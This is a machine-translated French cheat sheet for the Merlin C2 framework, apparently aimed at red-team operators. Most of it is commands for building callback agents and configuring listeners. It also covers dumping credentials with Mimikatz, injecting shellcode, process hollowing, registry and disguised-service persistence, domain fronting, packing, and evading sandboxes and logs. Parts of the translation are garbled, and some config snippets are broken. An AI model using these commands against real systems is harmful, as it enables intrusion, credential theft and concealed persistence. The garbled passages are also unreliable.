Merlin C2 Cadre Feuille de chaleur
Aperçu général
Merlin est un serveur de commande et de contrôle HTTP/2 et un agent multiplateforme écrit en Golang. Il met à profit HTTP/2 pour la communication, fournissant des capacités modernes d'évasion de protocole avec des jeux de données intégrés et le chiffrement.
C'est pas vrai. Attention : Cet outil est destiné aux tests de pénétration autorisés et aux exercices d'équipe rouge seulement. Assurez-vous d'avoir une autorisation appropriée avant d'utiliser dans tout environnement.
Installation
Binaires précompilés
# Download latest release for Linux
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x merlinServer-Linux-x64.7z
# Download latest release for Windows
# Download merlinServer-Windows-x64.7z from GitHub releases
# Download latest release for macOS
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Darwin-x64.7z
7z x merlinServer-Darwin-x64.7z
Construire à partir de la source
# Install Go (version 1.19+)
git clone https://github.com/Ne0nd0g/merlin.git
cd merlin
make build-server
make build-agent
```_
### Installation Docker
```bash
# Pull official Docker image
docker pull ne0nd0g/merlin
# Run Merlin server in Docker
docker run -it -p 443:443 ne0nd0g/merlin
```_
## Utilisation de base
### Démarrer Merlin Server
```bash
# Start server with default settings
./merlinServer-Linux-x64
# Start server with custom interface
./merlinServer-Linux-x64 -i 0.0.0.0
# Start server with custom port
./merlinServer-Linux-x64 -p 8443
# Start server with custom certificate
./merlinServer-Linux-x64 -crt /path/to/cert.crt -key /path/to/key.key
Génération d'agents
# Generate Windows agent
make build-agent-windows
# Generate Linux agent
make build-agent-linux
# Generate macOS agent
make build-agent-darwin
Référence de commande
Gestion des serveurs
Command | Description |
---|---|
help |
Display help menu |
version |
Show version information |
listeners |
List active listeners |
agents |
List connected agents |
sessions |
Show active sessions |
exit |
Exit Merlin server |
Gestion de l'auditeur
Command | Description |
---|---|
listeners |
List all listeners |
use listener <type> |
Select listener type |
set <option> <value> |
Set listener option |
start |
Start the listener |
stop |
Stop the listener |
info |
Show listener information |
Interaction des agents
Command | Description |
---|---|
interact <agent-id> |
Interact with agent |
shell <command> |
Execute shell command |
upload <local> <remote> |
Upload file to agent |
download <remote> <local> |
Download file from agent |
kill |
Kill the agent |
back |
Return to main menu |
Configuration de l'auditeur
HTTP/2 Auditeur
# Use HTTP/2 listener
use listener http2
# Configure listener options
set Interface 0.0.0.0
set Port 443
set Certificate /path/to/cert.crt
set Key /path/to/key.key
# Start listener
start
HTTP/3 Auditeur (QUIC)
# Use HTTP/3 listener
use listener http3
# Configure QUIC options
set Interface 0.0.0.0
set Port 443
set Certificate /path/to/cert.crt
set Key /path/to/key.key
# Start listener
start
TCP Auditeur
# Use TCP listener
use listener tcp
# Configure TCP options
set Interface 0.0.0.0
set Port 4444
# Start listener
start
SMB Auditeur
# Use SMB listener (Windows)
use listener smb
# Configure SMB options
set Interface 0.0.0.0
set Port 445
# Start listener
start
Configuration de l'agent
Agent HTTP/2
# Build HTTP/2 agent
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://192.168.1.100:443" -o agent.exe cmd/merlinagent/main.go
# Build with custom options
GOOS=linux GOARCH=amd64 go build -ldflags "-X main.url=https://192.168.1.100:443 -X main.sleep=30s -X main.jitter=0.2" -o agent cmd/merlinagent/main.go
Options d'agent
# Set communication URL
-X main.url=https://server.com:443
# Set sleep interval
-X main.sleep=30s
# Set jitter percentage
-X main.jitter=0.2
# Set maximum retries
-X main.maxretry=7
# Set user agent
-X main.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
# Set proxy
-X main.proxy=http://proxy.com:8080
Commandements post-exploitation
Informations sur le système
# Get system information
sysinfo
# Get current user
whoami
# Get environment variables
env
# Get network interfaces
ifconfig
# Get running processes
ps
Opérations de fichiers
# List directory contents
ls /path/to/directory
# Change directory
cd /path/to/directory
# Create directory
mkdir /path/to/new/directory
# Remove file
rm /path/to/file
# Copy file
cp /source/file /destination/file
# Move file
mv /source/file /destination/file
Opérations réseau
# Network connections
netstat
# ARP table
arp
# Routing table
route
# DNS lookup
nslookup domain.com
# Ping host
ping 192.168.1.1
Gestion des processus
# List processes
ps
# Kill process
kill <pid>
# Start process
execute <command>
# Get process information
info <pid>
Caractéristiques avancées
Système de module
# List available modules
modules
# Use module
use module <module-name>
# Set module options
set <option> <value>
# Run module
run
# Show module info
info
Modules intégrés
# Mimikatz module
use module mimikatz
set Command sekurlsa::logonpasswords
run
# PowerShell module
use module powershell
set Command Get-Process
run
# Assembly execution
use module executeassembly
set Assembly /path/to/assembly.exe
set Arguments "arg1 arg2"
run
Exécution du code Shell
# Execute shellcode
use module shellcode
set Shellcode <base64-encoded-shellcode>
run
# Shellcode injection
use module shinject
set PID <target-pid>
set Shellcode <base64-encoded-shellcode>
run
Persistance
# Registry persistence
use module persistence
set Method registry
set Key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
set Value "Update"
set Data "C:\temp\agent.exe"
run
# Service persistence
use module service
set Name "UpdateService"
set DisplayName "Windows Update Service"
set BinaryPath "C:\temp\agent.exe"
run
Techniques d'évacuation
Obfuscation de la circulation
# Custom User-Agent
-X main.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Custom headers
-X main.headers="X-Custom-Header:value"
# Domain fronting
-X main.url=https://cdn.example.com
-X main.host=legitimate-site.com
Obfuscation de la charge utile
# Build with custom build tags
go build -tags="debug" -ldflags "-s -w" -o agent.exe
# Use UPX packing
upx --best agent.exe
# Custom encryption
-X main.psk=your-pre-shared-key
Anti-analyse
# VM detection
use module vmdetect
run
# Sandbox evasion
use module sleep
set Duration 60
run
# Process hollowing
use module hollow
set Target notepad.exe
set Payload <base64-encoded-payload>
run
Gestion des certificats
Générer un certificat auto-signé
# Generate certificate and key
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
# Generate with SAN
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes -config <(
echo '[req]'
echo 'distinguished_name = req'
echo '[req]'
echo 'CN = server.com'
echo '[SAN]'
echo 'subjectAltName = DNS:server.com,DNS:*.server.com,IP:192.168.1.100'
)
Encryptons le certificat
# Install certbot
sudo apt install certbot
# Generate certificate
certbot certonly --standalone -d yourdomain.com
# Use certificate with Merlin
./merlinServer-Linux-x64 -crt /etc/letsencrypt/live/yourdomain.com/fullchain.pem -key /etc/letsencrypt/live/yourdomain.com/privkey.pem
Procédures opérationnelles
Configuration des infrastructures
# Use redirectors
# Set up nginx reverse proxy
server \\\\{
listen 443 ssl http2;
server_name legitimate-site.com;
ssl_certificate /path/to/cert.crt;
ssl_certificate_key /path/to/key.key;
location / \\\\{
proxy_pass https://merlin-server:443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
\\\\}
\\\\}
Opérations des équipes
# Multi-operator setup
# Use shared database or file system
# Implement proper access controls
# Use separate operator certificates
Exploitation forestière et surveillance
# Enable detailed logging
./merlinServer-Linux-x64 -debug
# Monitor connections
tail -f merlin.log
# Network monitoring
tcpdump -i any -w merlin_traffic.pcap port 443
Dépannage
Problèmes de connexion
# Check listener status
listeners
# Test connectivity
curl -k https://server.com:443
# Check certificate
openssl s_client -connect server.com:443 -servername server.com
Questions relatives aux agents
# Debug agent connection
# Build agent with debug flags
go build -ldflags "-X main.debug=true" -o agent-debug.exe
# Check agent logs
# Enable verbose output in agent
Problèmes de performance
# Adjust sleep and jitter
-X main.sleep=10s
-X main.jitter=0.1
# Optimize HTTP/2 settings
# Increase connection limits
# Use connection pooling
Problèmes de certificat
# Verify certificate
openssl x509 -in server.crt -text -noout
# Check certificate chain
openssl verify -CAfile ca.crt server.crt
# Test SSL configuration
sslscan server.com:443
Évasion de détection
Niveau réseau
- Utiliser des certificats et des domaines légitimes
- Mettre en œuvre la configuration HTTP/2 appropriée
- Varier les modes de communication et le calendrier
- Utiliser les techniques de fronting de domaine
- Mettre en œuvre un traitement approprié des erreurs
Niveau de l'hôte
- Utiliser des noms de processus et des chemins légitimes
- Mettre en œuvre une détection anti-VM et bac à sable
- Utiliser le procédé de creusement et d'injection
- Chiffrer les charges utiles et les communications
- Nettoyer les artefacts et les journaux
Comportement
- Limiter l'utilisation des ressources et l'activité du réseau
- Utiliser des agents et en-têtes d'utilisateur légitimes
- Mettre en œuvre un sommeil approprié et des jitter
- Évitez les appels d'API suspects
- Utiliser des techniques de vie hors de la terre
Ressources
- [Dépôt Merlin GitHub] (LINK_4)
- [Document de Merlin] (LINK_4)
- [Blogue Ne0nd0g] (LINK_4)
- [HTTP/2 C2 Communication] (LINK_4)
*Cette feuille de triche fournit une référence complète pour l'utilisation de Merlin C2 Framework. Assurez-vous toujours d'avoir une autorisation appropriée avant d'utiliser cet outil dans n'importe quel environnement. *